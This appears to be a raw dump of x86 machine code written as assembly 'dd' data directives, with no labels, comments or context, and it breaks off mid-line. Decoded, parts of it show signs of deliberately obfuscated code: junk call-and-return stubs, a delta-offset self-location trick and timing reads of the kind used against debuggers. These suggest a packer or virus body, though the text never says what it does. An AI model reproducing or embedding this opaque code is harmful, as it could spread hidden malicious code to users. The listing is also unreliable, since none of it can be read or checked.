dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0C34DF5C3h dd 1BA4E0ECh, 0B9F38944h, 0F03h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0A5C35545h, 4B028BB5h, 83ED53F9h dd 6AFCFCE1h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0BB56C356h, 0D7FCCA38h, 9ED296Dh dd 0E427DD85h, 0B805h, 9D890000h, 5E423E9h, 0BAh, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 2980847Bh, 8D29727Ah, 5E42E75h, 0D1C233ADh, 83D003E8h dd 0F47504E9h, 8D896060h, 5E431F1h, 759589h, 0E86105E4h dd 5, 0BA69B8FEh, 0E1816689h, 615879ABh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0C6C35646h, 50C613A3h dd 25119589h, 0D5B05E4h, 88h, 2D8DBD23h, 958B05E4h, 5E41095h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 48C35141h dd 18C0Fh, 8BFC0000h, 0E42C658Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 75BD8BC7h dd 5005E414h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0FE1D63DFh, 8B57C193h, 0E4124DBDh, 0BB665B05h dd 83F969E7h, 0E42135BDh, 840F0005h, 99h, 2715BD8Bh, 0B805E4h dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 2BD1C355h, 0E4216D9Dh, 15820F05h dd 0E9000000h, 10h, 0FBACA562h, 5DCDD457h, 0F320EB11h dd 3A5FCCA4h, 4C308D8Dh, 6A05E4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 190424h, 57470000h, 42E470C3h, 29A2D8C5h dd 0E4299195h, 6AE1FF05h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8BE7C355h, 0E41D6D9Dh dd 0FDBD8305h, 5E430h, 49F840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 140424h, 56460000h, 8F0F99C3h dd 6, 51BD8Bh, 0BD8305E4h, 5E430FDh, 85840F01h, 6A000004h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 7EE5C350h, 837382D5h, 0E430FDBDh, 860F0305h dd 422h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 2BC35141h, 9EF1B1B5h, 0E9E0DF74h, 0Ch, 95675126h dd 9E64818h, 0F717BCA3h, 0AE8h, 26BFDE00h, 0D883D89h, 8BC9267Fh dd 6A605BFBh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 53E0C355h, 0B70FD2AAh, 0E59D89FFh dd 0F505E408h, 8BD98C66h, 0E42C7DBDh, 4E18005h, 6830Fh dd 85890000h, 5E4165Dh, 840FC90Ah, 113h, 16299D8Bh, 858B05E4h dd 5E42C9Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ch, 26C35747h, 0CB6A0A6h, 75FB9A9Ch, 231D9D89h, 853305E4h dd 5E42099h, 68D0Fh, 95890000h, 5E43261h, 50FA8B90h, 14A0BB66h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0C6FF9689h, 0D2F4E2CBh, 9D89006Ah, 5E43269h dd 99A17068h, 8E859h, 0AD830000h, 2578BB96h, 8A50B818h dd 815B5FFEh, 0A28F2434h, 6A5986h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 371B55C3h, 0BD8B0DC0h dd 5E40861h, 15995FFh, 8D0905E4h, 5E41CDDh, 7E9h, 0A3E56B00h dd 0E0C46238h, 9F5F8589h, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 6857FFC3h, 66A8D81Bh dd 500CF81h, 1E2E9h, 4870F00h, 57000000h, 8B5B1AB3h, 0E79F5785h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 17AE88C8h, 0B840Fh, 810F0000h, 5, 460BE3BBh dd 9793BF00h, 0C72B87h, 18h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0D5C35141h, 76430E8Eh, 0B58BD88Bh dd 5E79F5Bh, 9E850h, 0F6290000h, 346BC3B2h, 0FCD2CD33h dd 858B5F5Bh, 5E42A21h, 0D999D8Bh, 68905E4h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 2EC35545h, 26C9BD03h dd 9D8B05E4h, 5E42D91h, 2C9D858Bh, 0BE805E4h, 6A000000h dd 0C65F885Fh, 0DD5CF6ABh, 0B70F39BBh, 46895FD9h, 52006A04h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 8DE13461h, 6860Fh, 0BD8B0000h, 5E432C5h, 17B16096h dd 61F28B66h, 0CA36BF50h, 6A965608h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 66ACC356h dd 0EE9DE8Bh, 40000000h, 0FEC604Dh, 6EA7ECD8h, 0F33C607Dh dd 57B5FF80h, 6A05E79Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B361C352h, 0F88B66BEh dd 0F068D98Bh, 0FD93DFCh, 480h, 8CBB6600h, 2404813Ah, 26E1070Fh dd 3850Fh, 0D7800000h, 5F858D07h, 6A05E79Fh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0A821C352h, 53CBDD2Ch, 0E9A964E7h, 10h, 51F274D3h, 0F241A19Bh dd 740EF95Ch, 0B8CFA6CFh, 0A0BF6690h dd 51B350D4h, 0FFD88B90h, 0E4015995h, 5DBD8905h, 6105E411h dd 0C8DBD8Bh, 85C705E4h, 5E430FDh, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0B3C35242h, 0DFD4D92Eh, 0ED3C3A80h dd 51BD0BA1h, 0F05E422h, 688h, 0E9BD8B00h, 8305E40Fh, 0E79F5FBDh dd 840F0005h, 52h, 23699501h, 62E905E4h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0E920C355h, 10E8CB8Ch, 0F3000000h, 0E89AD391h, 0D95B4097h dd 0E56423FFh, 0FE86986h, 682h, 95BD8B00h, 5B05E425h, 768E781h dd 30503830h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 68B0FC0h, 81000000h, 25BC6DCFh, 0BD83F526h dd 5E430FDh, 41850F03h, 1000004h, 0E4117585h, 5FBD8305h dd 5E79Fh, 42E840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0FBBDF0C3h, 9F5FB5FFh dd 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 2B9885C3h, 0E400119Dh, 1595FF05h, 8B05E41Ch dd 53B58BD8h, 6A05E79Fh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 0F725C356h, 7D3B9050h dd 0F881ACEBh, 0E9E9E780h, 12h, 3C49CECEh, 0C514020Ah dd 56ABE67Ah, 5499C952h, 6C7DDCDh, 10001h, 50DC8AF8h, 0DE9h dd 801CF300h, 7AE73951h, 0DA2C0F80h, 348979C2h, 53006A24h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0E8526BD1h, 13h, 3611CE06h, 0F71ED07Ch, 0A52C5003h dd 4688D076h, 3272A4Fh, 0E42CF19Dh, 0BD8B5B05h, 5E41775h dd 9F5FB5FFh, 0E95005E7h, 6, 310BE929h, 0FF5B661Eh, 0E4172D95h dd 0C1BD8B05h, 8B05E42Dh, 0E79F53B5h, 50006A05h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0B85E928Ch, 58F0F49h, 0BF000000h, 5FBB9DFBh, 1D1D858Bh dd 6A05E4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 8B181EC3h, 30907F67h, 0C4868904h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 8144C351h, 5BAB4FD7h, 95958B74h, 6A05E410h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0D64FC351h, 6820F1Dh, 9000000h, 0E4260195h dd 4C28305h, 6A205089h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 284FC352h, 0CDBD8BC8h dd 8105E40Fh, 0E23189EFh, 84858D57h, 8B05E7B3h, 0E41755BDh dd 0B8868905h, 0BB000000h, 1A838AC0h, 8B66006Ah, 0CBB66D8h dd 5FB5FFAEh, 8B05E79Fh, 4595FFD9h, 6A05E410h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0A1B7C351h, 0DE9h, 2FF44500h, 863B23E4h, 5F6EB957h dd 5250326Ch, 7148D2BBh, 34895F12h, 1BD8B24h, 0FF05E41Eh dd 0E79F5FB5h, 0DD852905h, 0FF05E413h, 0E4136595h, 53006A05h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD0BC012h, 5E41A45h, 8F9BD83h, 0F0005E4h, 4684h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 0D04B5BDAh, 76BB95F7h, 504B3FB8h, 11E9h, 445A5F00h dd 0EF287C6Eh, 0E9A8541Eh, 0EC70B744h, 34895CFFh, 0CD8D8924h dd 0FF05E426h, 0E79F5FB5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0C6AD3314h dd 0D51B4309h, 0D381661Dh, 860F9A55h, 3, 0FFDF8B66h, 0E429C595h dd 50006A05h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 342E5424h, 0FD0CA34h, 0B5FFDBB7h, 5E79F5Fh dd 418FCF81h, 0BCBB72B2h, 0FF6665C0h, 0E4197195h, 8315B305h dd 0E43125BDh, 840F0205h, 92h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 0BCC35545h, 0C484AFBDh, 51FEB712h dd 0FE9h, 0A8D2A100h, 1D149AA7h, 1F2D54B9h, 0AA6880BDh dd 0DA8B665Bh, 1A69BD89h, 858B05E4h, 5E41191h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0FCC35040h, 2CB086FAh dd 0C685h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 8C35141h, 91805CCBh, 8799D8Bh, 85C705E4h, 5E419E5h dd 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 68C35646h dd 0FFF29FE9h, 55006AFFh, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0CCC2327h, 0B589FCB2h dd 5E42539h, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 0F59F1EC3h, 858D4DE5h, 5E419D5h dd 0CDEE46BBh, 0FE8B901Fh, 0C68A6050h, 10E8h, 8CC48E00h dd 0C304D654h, 0FE7ECC95h, 0D0BEA18Eh, 14E880h, 13E30000h dd 87B5C906h, 31AD340Dh, 0DE40F4E8h, 86993B2Ch, 5F593195h dd 6A9061h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 17D451C3h, 0F585C07Fh, 0B5BB66D3h, 81006A6Dh dd 0FBE5D4EBh, 6A006A60h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 15042444h, 43000000h, 155FC353h, 7E957h dd 8C2A0000h, 8071DD42h, 85895F9Ch, 5E40425h, 0B9F7858Dh dd 12E905E8h, 27000000h, 0C6FCCB68h, 1AF848FAh, 0D4A2D0B0h dd 0E669CC6Eh, 5C083D8h, 7D9B589h, 0E89005E4h, 5, 0D61AEE9Ch dd 2820F32h, 50000000h, 90505B5Bh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0DEC35343h, 9D0B3B2Ch, 5E40D51h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 0F2963C3h, 683h, 998D3100h, 6A05E42Ch, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 89521A62h, 0E4271595h, 0A195FF05h, 6A05E421h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 49A7C351h, 2DFE8FCBh, 0D09C22F1h, 1DD19D8Bh, 8D8D05E4h dd 5E79E7Fh, 5890Fh, 0FDBB0000h, 0FF19B1D3h, 52006AD1h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 8949E80Ch, 0E428DDB5h, 95BD8305h, 105E429h, 92850Fh dd 8B660000h, 1DB529F8h, 6A05E40Dh, 50006A02h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 8166A460h dd 50BE26CBh, 489CAB7h, 51006A24h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 0D21B6AFAh, 0C2F2978Ah dd 8D8957A1h, 5E41815h, 4595FF5Fh, 6A05E410h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 0C0FAC352h, 9C74C576h, 0F678062h, 9D89DBB7h, 5E4135Dh dd 0D08E9h, 0E800h, 815D0000h, 0E8BA01EDh, 51006A05h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0FD858905h, 0E905E414h, 0Eh, 3E34FF5h, 295B701Ch, 0FBF2E6B3h dd 858DC56Dh, 5E78168h, 850Fh, 8B900000h, 0E96050DFh, 0Bh dd 54E5C24Eh, 6FA76389h, 0BE55AE56h, 6A886289h, 6A9061h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E9286CC3h, 0Ah, 0B5E1CCE6h, 8EF8CCAFh, 0FF642B7Bh dd 35h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 3349C127h, 0E407E99Dh, 25896405h dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 63C35242h dd 82716FF8h, 85FFD7F7h, 5E4142Dh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 4CC35141h, 5243CAD9h, 0FCFF6AFCh dd 1381B5FFh, 0E78005E4h, 0AD95FF3Bh, 0E905E42Dh, 13Ah dd 440EBB66h, 9D8B00B0h, 5E410D5h, 8D0170E6h, 5E42A95h dd 0BF0F71E4h, 0F613CF9h, 11983h, 0BD9D8900h, 8B05E432h dd 0E41355BDh, 0C8B60F05h, 0B589FA8Ah, 5E419A5h, 6BAh dd 299D8B00h, 8B05E40Dh, 4E8C1C1h, 68C0Fh, 95890000h, 5E42261h dd 17658531h, 0F76605E4h, 0BBC82BE2h, 0BA74660h, 150D18Bh dd 0E42781BDh, 0C7E95F05h, 0E9000000h, 0Ah, 0D4BA621Eh dd 0CBE2C026h, 858B196Eh, 1, 13850Fh, 0BE80000h, 82000000h dd 9D955A06h, 5FCA2D01h, 0DA8BCAA8h, 7C0835Bh, 10E8h, 301F4A00h dd 6FD3D4FDh, 0FD216162h, 0A79B1F1Bh, 11E95717h, 9000000h dd 0E49E6129h, 5E7C44A0h, 299189E2h, 9E90CDD9h, 0C0835B5Bh dd 3BFD8A00h, 0B830FD0h, 89000000h, 0E40D31B5h, 50E905h dd 8D8B0000h, 0FFFFFFFFh, 0C840Fh, 8B0F0000h, 6, 2665B529h dd 0E18305E4h, 2F840F01h, 0FC000000h, 0FFFFA583h, 0FFEFFFFh dd 681h, 89BD8B00h, 0F05E422h, 9589D8BFh, 1, 8E9h, 0E40A5600h dd 7401B29Ch, 0E978h, 0B58D0000h, 5E83AE2h, 0BE9h, 72CB3600h dd 0CDB45C3Fh, 4CEEF6BDh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 508015C3h, 0DA82D2E3h dd 0BD8BD338h, 5E423BDh, 0BE8h, 29D68300h, 67BFBE0h, 29EEDD61h dd 291DB501h, 0FF5F05E4h, 0E410C195h, 52006A05h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 586D344Dh, 69BD8B8Bh, 8B05E41Ch, 0E41449BDh, 159D8905h dd 0B905E410h, 0DA6h, 68B0Fh, 0BD8B0000h, 5E417D1h, 0BBFCE183h dd 1947D04Ah, 68D0FFCh, 8B000000h, 0E41B3D9Dh, 0B805h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0F903AEC3h, 0D0B911DBh, 0CE9h, 0ECB94500h dd 0D8D4C496h, 573E53Bh, 8BD22B55h, 0C233ADFAh, 0D003E8D1h dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 48CC1FF6h, 0C51CA60Ah, 8E36BFB2h dd 6A67FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h dd 57470000h, 550410C3h, 890F4FFFh, 6, 28CDB501h, 880D05E4h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0DC18C357h, 213033C9h, 7B00CFFEh dd 1F118D29h, 958B05E4h, 5E41095h, 10E9h, 8C9D4E00h, 0C887FA5Fh dd 0DE41550Eh, 8C545263h, 658D8B44h, 6A05E42Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 0C1F2C352h, 0FF02776Eh, 34ECBF92h, 50F9162Ch, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 0E9BD3358h, 6A05E42Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 836AC356h, 83E0EF0Ah, 0E42135BDh, 840F0005h dd 93h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah dd 0EC35141h, 0CAD25BA3h, 5E9B58Eh, 75000000h, 6365829Fh dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1904h, 0C3514100h, 43A3F628h, 8D8DF735h, 5E44C30h, 0FFECCB81h dd 0E1FF6C03h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 31C35646h, 0D98BB567h, 0EE9h, 475D5300h, 2DAF3C5Ch dd 0CBB7AD8h, 83230273h, 0E430FDBDh, 840F0005h, 40Ah, 2D1D9D03h dd 9D8B05E4h, 5E421BDh, 30FDBD83h, 0F0105E4h, 40C84h, 0F58D0100h dd 8305E42Ch, 0E430FDBDh, 860F0305h, 3C3h, 8C66FC60h, 0AE9D9h dd 4D9C0000h, 3A683004h, 4A5E5454h, 0F04E180h, 68Eh, 759D8900h dd 6005E42Ch, 7C5B58Bh, 830F05E4h, 2, 0A61CF8Bh, 0F7840FC9h dd 0F000000h, 858BDABFh, 5E42C9Dh, 5B5B5156h, 20998533h dd 8A0F05E4h, 1, 0FB8B50F5h, 6A240489h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0CF31C350h dd 0F78A321Dh, 2F6BF4Fh, 6A4C82h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0DBC35141h, 0B3B3E47Fh, 9B002FD0h dd 799E6866h, 481FB72h, 0AC8A6124h, 57006A04h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 7828DFACh dd 15995FFh, 6A05E4h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 5E189BC3h, 0F513E8A6h, 0BD8B1AF1h dd 5E404B5h, 9F5F8589h, 6A05E7h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 3488BC3h, 8B484B73h dd 1F7E9F8h, 858B0000h, 5E79F57h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 72C35646h, 0B2DE2EDEh, 4D5644BBh dd 1BBB6663h, 1800C7AFh, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 937DC357h dd 13E9h, 31786700h, 5C7778CDh, 23C96C8Ch, 997B04CEh, 38F98E46h dd 9F5BB58Bh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4F219C3h, 0FBE742Fh, 0BD0BFEB7h dd 5E428F5h, 2A21858Bh, 6A05E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 7DC0C7C3h, 95E0592h dd 2B97CFCBh, 0E408FD9Dh, 6890F05h, 1000000h, 0E427C985h dd 6A068905h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0A1F6C357h, 2A91B856h, 29F91F09h dd 0E4135D9Dh, 9D858B05h, 8905E42Ch, 0AE90446h, 48000000h dd 0C30FFDADh, 33DF3DB6h, 6060508Eh, 495BBB66h, 61C28B66h dd 349412BFh, 34896173h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 12E96Dh, 7DA60000h, 0F99C8168h dd 263002CEh, 0FED542D4h, 4001061Bh, 9F57B5FFh, 0B70F05E7h dd 0A8F068DAh, 0FC8AA232h, 0F240481h, 6A5DEC5Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 15C6C356h, 0FB44FD20h, 536CAE8Fh, 1AC4D381h, 858D0FABh dd 5E79F5Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0A7C35040h, 220DFDCBh, 8BB58020h, 0E42AC9BDh, 35BF9005h dd 50645B97h, 90FA8B66h, 95FFFB8Bh, 5E40159h, 0C1C1ADBBh dd 68F0F43h, 8B000000h, 0E40D799Dh, 8B516105h, 0E415319Dh dd 85C75B05h, 5E430FDh, 3, 2880Fh, 0F98A0000h, 9F5FBD83h dd 0F0005E7h, 7284h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0C2AAE3E8h, 0BF1D5429h dd 171358AEh, 7E9h, 12C53C00h, 2BC0A5CEh, 55E9h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h dd 0C3524200h, 0AC9B96CDh, 0FE8h, 0C6721000h, 0A8968800h dd 0C72A6F4Bh, 86563701h, 8E75C781h, 505B0DBFh, 110C30h dd 0C1011144h, 443010E8h, 4C000211h, 83580311h, 0E77504E9h dd 305036EBh, 64001104h, 0E8C10111h, 11443010h, 11640002h dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h dd 64285802h, 4300111h, 4E98311h, 0EBE775h, 0BD8BC08Bh dd 5E417C9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0AC35040h, 443C43DCh, 70BFD858h, 38DF8057h, 9D85895Fh dd 8305E42Ah, 0E430FDBDh, 850F0305h, 35Ch, 9999529h, 0BD8305E4h dd 5E79F5Fh, 49840F00h, 89000003h, 0E4150995h, 0FBB70F05h dd 9F5FB5FFh, 0DF8005E7h, 1595FFB6h, 2305E41Ch, 0E423B1BDh dd 0B23CBB05h, 0B58B18B6h, 5E79F53h, 11E9h, 9E8F6B00h dd 0B256CB8Ah, 87D7C663h, 0C788571Fh, 6C7BA8Fh, 10001h dd 11958D29h, 0F9605E4h, 38Ah, 0F98B6600h, 0DE950h, 0B0FE0000h dd 36A02634h, 0D4688AFDh, 968EE5DCh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 15h, 7EC35242h, 0FFE2B30Fh, 0E79F5FB5h dd 52006A05h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h dd 0C3524200h, 0FFF1C0ABh, 890F35CBh, 0E42909BDh, 2D95FF05h dd 8B05E417h, 0E4256DBDh, 53B58B05h, 8005E79Fh, 858B9FE7h dd 5E41D1Dh, 89FEB70Fh, 0C486h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 5A8F679Bh dd 597A86D4h, 5FFB8B52h, 1095958Bh, 0C38105E4h, 1EB12FEEh dd 8904C283h, 0E421BD9Dh, 89BD0B05h, 8905E425h, 0BD312050h dd 5E43139h, 0B384858Dh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 7028C7C3h, 358D8997h dd 8905E412h, 0B886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 70F51053h, 0BD95899Ah dd 6A05E411h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0F42AAAFBh, 0B5FF341Ah, 5E79F5Fh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0A1C35343h dd 2071BD89h, 95FF05E4h, 5E41045h, 0C399BF66h, 50FA8B96h dd 0AE960h, 0F3250000h, 2013E51Bh, 9BF674Bh, 6E0572B8h dd 6A966174h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 18042444h, 42000000h, 7002C352h, 0E9483341h, 9, 0AE6D1A1Fh dd 0C33D52A2h, 5FB5FF9Ch, 905E79Fh, 0E41B3D9Dh, 6595FF05h dd 6A05E413h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 4C87C355h, 0F1807C06h, 0F1B53BFh dd 0BD83DBBFh, 5E408F9h, 4B840F00h, 81000000h, 3B95C7EFh dd 820F5010h, 6, 60EF8A60h, 34896161h, 57006A24h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 0E8D7D154h, 7902A16Ah, 0AEBF210Bh, 0F269E22h, 58Ah dd 84B8BB00h, 0B5FF7FC2h, 5E79F5Fh, 2D1D8589h, 95FF05E4h dd 5E429C5h, 9F5FB5FFh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0EA040FC3h, 23F1B501h dd 95FF05E4h, 5E41971h, 2199B509h, 0BD8305E4h, 5E43125h dd 33840F02h, 89000000h, 0E402B58Dh, 91858B05h, 8B05E411h dd 0E41A9DBDh, 0C605h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0D3C35545h, 85C7CB15h, 5E419E5h, 0 dd 2419BD8Bh, 8D0905E4h, 5E4209Dh, 0FFF418E9h, 6820FFFh dd 89000000h, 0E417B98Dh, 0B3C18B05h, 0D5858D47h, 8A05E419h dd 0E96090D9h, 13h, 0D1D1E6E0h, 73A998AAh, 2952F609h, 0D4087744h dd 61AD56BCh, 0BF665250h, 905BCDE1h, 0A3C02CBBh, 0F006A0Ch dd 6AFFB7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0F5C35747h, 858D1FF4h, 5E8C8E1h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 0CC35040h, 29DA8B66h dd 0E426D595h, 5C08305h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 54C35141h, 8C0F4Fh, 50000000h, 0F525060h dd 5A616031h, 7D2DBB58h, 896107A1h, 9D8B2404h, 5E42589h dd 7BDBD31h, 6A05E4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0C35242h, 0E903496Fh, 0Bh, 9CAA3D23h dd 0DADCF3D8h, 819333D2h, 358BF8DFh, 0F9006A18h, 21A195FFh dd 6A05E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0F12D7C3h, 18Dh, 8D8DF500h, 5E79E7Fh, 0FF81F780h dd 57006AD1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0C7C806E0h, 8BC5254Fh, 0E413B19Dh, 95BD8305h dd 105E429h, 74850Fh, 0BD030000h, 5E414E9h, 6A026Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 90CCCEC3h, 310F5250h, 5F515250h, 585A310Fh, 8A50585Ah dd 6A90FDh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 2D71BC3h, 0F53499Fh, 68Bh, 659D0B00h, 6605E426h dd 9301C381h, 104595FFh, 0BF6605E4h, 65E91EE4h, 0E800000Dh dd 0 dd 0EBED815Dh, 6A05E8C8h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 77F8C355h, 58E5BEDCh dd 0B5897B93h, 5E414EDh, 0C372E781h, 858D33B8h, 5E78168h dd 